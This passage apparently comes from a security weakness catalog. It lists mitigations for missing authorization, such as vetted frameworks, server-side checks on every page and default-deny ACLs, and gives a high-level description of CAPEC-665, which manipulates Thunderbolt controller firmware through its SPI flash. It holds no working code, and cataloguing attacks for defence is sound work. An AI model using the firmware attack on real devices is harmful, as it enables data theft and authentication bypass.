- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
- For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
- One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
CAPEC-665: Exploitation of Thunderbolt Protection Flaws
An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.